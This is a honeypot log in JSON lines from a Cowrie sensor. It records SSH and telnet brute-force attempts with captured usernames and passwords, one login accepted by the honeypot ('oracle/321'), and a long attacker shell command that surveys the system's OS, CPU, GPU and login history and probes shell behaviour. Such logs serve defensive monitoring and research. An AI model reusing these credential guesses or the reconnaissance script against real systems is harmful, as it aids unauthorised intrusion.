{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"eb:b2:24:d4:c8:fa:93:39:32:c3:19:67:65:da:36:79","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA5eDnVqF2+xgWJXwRgKN5l1KSe1R951LM/gNGSZoDhSE9UG0xqWD0AO+vVCV6N5N3MAxtve0pfYasYpKjfUjN55BqAO9uHLTIpnrA6se5dVP1Bjz6eSx+gc7HI+3hAeDxtXGFJ4Nesm5Zs/QHeExErOWfwd6JcLEb2woRD1FfdXnHw6f1t2uvhtY2/xHSLU/AVVKcqJq8rPKMF3tv3BwrLSaGJoyY87mHQram/wEmuxfltmZ4N/6e9etbNy92+j8cgXVSqtsyScnh0nCt8KwFWvbHoQCgyfTHo1jLrykHswH9tIY/83wr4dnGazFJPZ3IOnlmO9vYNKYrlcRnY9Z0xQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint eb:b2:24:d4:c8:fa:93:39:32:c3:19:67:65:da:36:79","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:45:01.261128Z","src_ip":"103.176.90.41","session":"51dab10c8e25","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"eb:b2:24:d4:c8:fa:93:39:32:c3:19:67:65:da:36:79","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA5eDnVqF2+xgWJXwRgKN5l1KSe1R951LM/gNGSZoDhSE9UG0xqWD0AO+vVCV6N5N3MAxtve0pfYasYpKjfUjN55BqAO9uHLTIpnrA6se5dVP1Bjz6eSx+gc7HI+3hAeDxtXGFJ4Nesm5Zs/QHeExErOWfwd6JcLEb2woRD1FfdXnHw6f1t2uvhtY2/xHSLU/AVVKcqJq8rPKMF3tv3BwrLSaGJoyY87mHQram/wEmuxfltmZ4N/6e9etbNy92+j8cgXVSqtsyScnh0nCt8KwFWvbHoQCgyfTHo1jLrykHswH9tIY/83wr4dnGazFJPZ3IOnlmO9vYNKYrlcRnY9Z0xQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:45:01.264398Z","src_ip":"103.176.90.41","session":"51dab10c8e25","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"33:23:71:80:f3:19:2b:2d:a4:c1:4a:33:b1:13:11:85","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCrWM0ewtxxJwppRfUA8U9lRZ8Tq4PGqqf6hyPKG2bnVOXd8uDx+bUCVFx/SqiTqLzvlc8xNfKZ1WkK6eE5qT47ZIz9dy+51+yZHBo46j11K6IpjY5y4PPmwP29YH2lOjTdE8BHUkyaQ5F/szKgx45/JhuFUJ40LT08pfXNYyecNlUDYqip4zgpm2sQVjuyhjk3IYWwU0/1zeiSi/I5HLXQTEzd4k8H0QgMfTnUZ5JSdB3zjgKZj5yh48OwxbKJfqqlofU9z+l0q8kX9i/60PZjmm/9YM5FFSBZ3Pt+EExeMpY5iZ+bS2fqeALNxJqP2zSKGyxx/595bHSJrZHnYrNr","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 33:23:71:80:f3:19:2b:2d:a4:c1:4a:33:b1:13:11:85","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:45:01.354149Z","src_ip":"103.176.90.41","session":"51dab10c8e25","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"33:23:71:80:f3:19:2b:2d:a4:c1:4a:33:b1:13:11:85","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCrWM0ewtxxJwppRfUA8U9lRZ8Tq4PGqqf6hyPKG2bnVOXd8uDx+bUCVFx/SqiTqLzvlc8xNfKZ1WkK6eE5qT47ZIz9dy+51+yZHBo46j11K6IpjY5y4PPmwP29YH2lOjTdE8BHUkyaQ5F/szKgx45/JhuFUJ40LT08pfXNYyecNlUDYqip4zgpm2sQVjuyhjk3IYWwU0/1zeiSi/I5HLXQTEzd4k8H0QgMfTnUZ5JSdB3zjgKZj5yh48OwxbKJfqqlofU9z+l0q8kX9i/60PZjmm/9YM5FFSBZ3Pt+EExeMpY5iZ+bS2fqeALNxJqP2zSKGyxx/595bHSJrZHnYrNr","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:45:01.359584Z","src_ip":"103.176.90.41","session":"51dab10c8e25","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"ee:a0:06:bd:db:02:d9:46:5e:2a:a9:bf:8a:bf:84:cd","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAshJy1ckYStatUNCzwEf3tIFa/MqDdwTiopPnlyP3CVcc3PI+auAl8jKlb1Vh6fIHA27cjgl4IPKHpQXBXcnofu5lU7ZhiX/vHwv/4s/aFXNxi9lF6wYwG5WI2LoZkM42AlEBKgkkfQj5J6DxiSsr+XnOhvKdqIMufN8wm+O9U9yPyzWpEk3s9gnIDkoND2/lFdueyRBq3gIqjkKB9ShWAYnl2duwuzTFty0dWZK5JXVPfHG6MB/x84hZE5dMUkI/RwdOh0CembkiKy2wcoh0yY55JqJxhJf+4CKE3YDs89b0TtBtuZIxM+yd/xmY56QAmqSSXycz43cn/+XS/s7YbQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint ee:a0:06:bd:db:02:d9:46:5e:2a:a9:bf:8a:bf:84:cd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:45:01.441448Z","src_ip":"103.176.90.41","session":"51dab10c8e25","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"ee:a0:06:bd:db:02:d9:46:5e:2a:a9:bf:8a:bf:84:cd","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAshJy1ckYStatUNCzwEf3tIFa/MqDdwTiopPnlyP3CVcc3PI+auAl8jKlb1Vh6fIHA27cjgl4IPKHpQXBXcnofu5lU7ZhiX/vHwv/4s/aFXNxi9lF6wYwG5WI2LoZkM42AlEBKgkkfQj5J6DxiSsr+XnOhvKdqIMufN8wm+O9U9yPyzWpEk3s9gnIDkoND2/lFdueyRBq3gIqjkKB9ShWAYnl2duwuzTFty0dWZK5JXVPfHG6MB/x84hZE5dMUkI/RwdOh0CembkiKy2wcoh0yY55JqJxhJf+4CKE3YDs89b0TtBtuZIxM+yd/xmY56QAmqSSXycz43cn/+XS/s7YbQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:45:01.445581Z","src_ip":"103.176.90.41","session":"51dab10c8e25","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"53:76:ee:a5:ce:98:c6:03:8d:5c:03:06:bf:39:6d:5a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDQhRZdfjgLRdDVMJ+kcCWfLEoZCgBaXbDxrW3iOkTCwZyBnll6SGDhJ7uNdqxi/OrlXmmCEPQBZdSuG5d+h39tIgvOpmamKZFC9IgNkiohqB5MZHusNliMIIirmMrQ3v84jzJrWEt2ewPvsKFETsiB1pfqQaKA9E0rbuAYIM1gDoMq0yBzBxU+Q4/0CYnKl5jHH7gpzFWEQklm5758zIxz2gZat1iLMRd5JomN34VHytz5lgIKyYBI7+ExaX73t8WvVZT4vCwNrPlcGwVN2MiUIM3eO9bSO8Xf17OizfeVfuBErxnWxcpRaogvdOy+CvdFnbyGesArIwrfZHnIeEj9","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 53:76:ee:a5:ce:98:c6:03:8d:5c:03:06:bf:39:6d:5a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:45:01.528329Z","src_ip":"103.176.90.41","session":"51dab10c8e25","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"53:76:ee:a5:ce:98:c6:03:8d:5c:03:06:bf:39:6d:5a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDQhRZdfjgLRdDVMJ+kcCWfLEoZCgBaXbDxrW3iOkTCwZyBnll6SGDhJ7uNdqxi/OrlXmmCEPQBZdSuG5d+h39tIgvOpmamKZFC9IgNkiohqB5MZHusNliMIIirmMrQ3v84jzJrWEt2ewPvsKFETsiB1pfqQaKA9E0rbuAYIM1gDoMq0yBzBxU+Q4/0CYnKl5jHH7gpzFWEQklm5758zIxz2gZat1iLMRd5JomN34VHytz5lgIKyYBI7+ExaX73t8WvVZT4vCwNrPlcGwVN2MiUIM3eO9bSO8Xf17OizfeVfuBErxnWxcpRaogvdOy+CvdFnbyGesArIwrfZHnIeEj9","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:45:01.533823Z","src_ip":"103.176.90.41","session":"51dab10c8e25","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"25:06:b9:82:74:7d:62:10:d0:4a:2c:de:a3:f6:58:7d","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDFp37aVZwLaTXhq+cMjmHaWfQCkw5fnSVLdzgLt5D4MAS+eUeXq9QPO/Wtz3HPAGGbQ1Bf0bwUSaKK8d8WlQT4RFJQi8wFQtPI60rD3G8fDyrNl1kOqbdLloqL0tlBS+k3V4hmpO7njmJD6BNRMzitZ93tuilz4PmyuMsMzk/ObqVVt7XLDGiKc9Z4gssaqCIH00zOJIvq2ufPHrcTMe0pwyA6fx+N3Kisc3Fm0anfKnpiFUjzGXwe6JODvhY+1GCdxq6b/wA8HomvcXH7DxhXwCVwA0M12TtMk5xnsztg30s7GCAqDluhwHcEN52vcOY7ks0GcZ4Piiog1u6iQ8At","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 25:06:b9:82:74:7d:62:10:d0:4a:2c:de:a3:f6:58:7d","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:45:01.614971Z","src_ip":"103.176.90.41","session":"51dab10c8e25","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"25:06:b9:82:74:7d:62:10:d0:4a:2c:de:a3:f6:58:7d","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDFp37aVZwLaTXhq+cMjmHaWfQCkw5fnSVLdzgLt5D4MAS+eUeXq9QPO/Wtz3HPAGGbQ1Bf0bwUSaKK8d8WlQT4RFJQi8wFQtPI60rD3G8fDyrNl1kOqbdLloqL0tlBS+k3V4hmpO7njmJD6BNRMzitZ93tuilz4PmyuMsMzk/ObqVVt7XLDGiKc9Z4gssaqCIH00zOJIvq2ufPHrcTMe0pwyA6fx+N3Kisc3Fm0anfKnpiFUjzGXwe6JODvhY+1GCdxq6b/wA8HomvcXH7DxhXwCVwA0M12TtMk5xnsztg30s7GCAqDluhwHcEN52vcOY7ks0GcZ4Piiog1u6iQ8At","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:45:01.617825Z","src_ip":"103.176.90.41","session":"51dab10c8e25","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.9","message":"Connection lost after 0.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:45:01.705905Z","src_ip":"103.176.90.41","session":"51dab10c8e25","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":42.84556603431702,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:45:13.277105Z","src_ip":"170.64.224.25","session":"2c5bd7e86bf2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"160.187.174.22","src_port":34538,"dst_ip":"159.203.135.109","dst_port":22,"session":"77286912a927","protocol":"ssh","message":"New connection: 160.187.174.22:34538 (159.203.135.109:22) [session: 77286912a927]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:45:13.303282Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:45:13.307719Z","src_ip":"160.187.174.22","session":"77286912a927","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:45:13.551538Z","src_ip":"160.187.174.22","session":"77286912a927","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"tom","password":"123456","message":"login attempt [tom/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:45:14.277673Z","src_ip":"160.187.174.22","session":"77286912a927","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:45:15.517301Z","src_ip":"160.187.174.22","session":"77286912a927","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"67.231.24.5","src_port":36908,"dst_ip":"10.17.0.5","dst_port":22,"session":"9631d5a64d41","protocol":"ssh","message":"New connection: 67.231.24.5:36908 (10.17.0.5:22) [session: 9631d5a64d41]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:45:17.516012Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:45:17.524886Z","src_ip":"67.231.24.5","session":"9631d5a64d41","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:45:17.541996Z","src_ip":"67.231.24.5","session":"9631d5a64d41","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"0PStack@S3cur3!","message":"login attempt [root/0PStack@S3cur3!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:45:17.609650Z","src_ip":"67.231.24.5","session":"9631d5a64d41","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:45:18.631197Z","src_ip":"67.231.24.5","session":"9631d5a64d41","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":58316,"dst_ip":"159.203.135.109","dst_port":23,"session":"174f29db273f","protocol":"telnet","message":"New connection: 170.64.224.25:58316 (159.203.135.109:23) [session: 174f29db273f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:45:24.432317Z"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.4","src_port":33132,"dst_ip":"10.17.0.5","dst_port":22,"session":"2f36a4e13e0f","protocol":"ssh","message":"New connection: 91.92.40.4:33132 (10.17.0.5:22) [session: 2f36a4e13e0f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:45:41.927817Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:45:41.953012Z","src_ip":"91.92.40.4","session":"2f36a4e13e0f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:45:42.011167Z","src_ip":"91.92.40.4","session":"2f36a4e13e0f","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"oracle","password":"321","message":"login attempt [oracle/321] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:45:42.333546Z","src_ip":"91.92.40.4","session":"2f36a4e13e0f","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:45:42.547240Z","src_ip":"91.92.40.4","session":"2f36a4e13e0f","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\"); arch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\"); uptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null); cpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null); cpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null ); last_output=$(last 2>/dev/null); filter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | head -c 250; printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | head -c 250; printf '\\n'; echo '===DONE===' ) 2>&1 ); echo \"UNAME:$uname\"; echo \"ARCH:$arch\"; echo \"UPTIME:$uptime\"; echo \"CPUS:$cpus\"; echo \"CPU_MODEL:$cpu_model\"; echo \"GPU:$gpu_info\"; echo \"LAST:$last_output\"; echo \"FILTER:$filter_output\"","message":"CMD: export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\"); arch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\"); uptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null); cpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null); cpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null ); last_output=$(last 2>/dev/null); filter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | head -c 250; printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | head -c 250; printf '\\n'; echo '===DONE===' ) 2>&1 ); echo \"UNAME:$uname\"; echo \"ARCH:$arch\"; echo \"UPTIME:$uptime\"; echo \"CPUS:$cpus\"; echo \"CPU_MODEL:$cpu_model\"; echo \"GPU:$gpu_info\"; echo \"LAST:$last_output\"; echo \"FILTER:$filter_output\"","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:45:42.550163Z","src_ip":"91.92.40.4","session":"2f36a4e13e0f","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -m 2 > /dev/null","message":"CMD: uname -s -v -n -m 2 > /dev/null","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:45:42.553796Z","src_ip":"91.92.40.4","session":"2f36a4e13e0f","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"/bin/uname -s -v -n -m 2 > /dev/null","message":"CMD: /bin/uname -s -v -n -m 2 > /dev/null","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:45:42.557089Z","src_ip":"91.92.40.4","session":"2f36a4e13e0f","protocol":"ssh"}
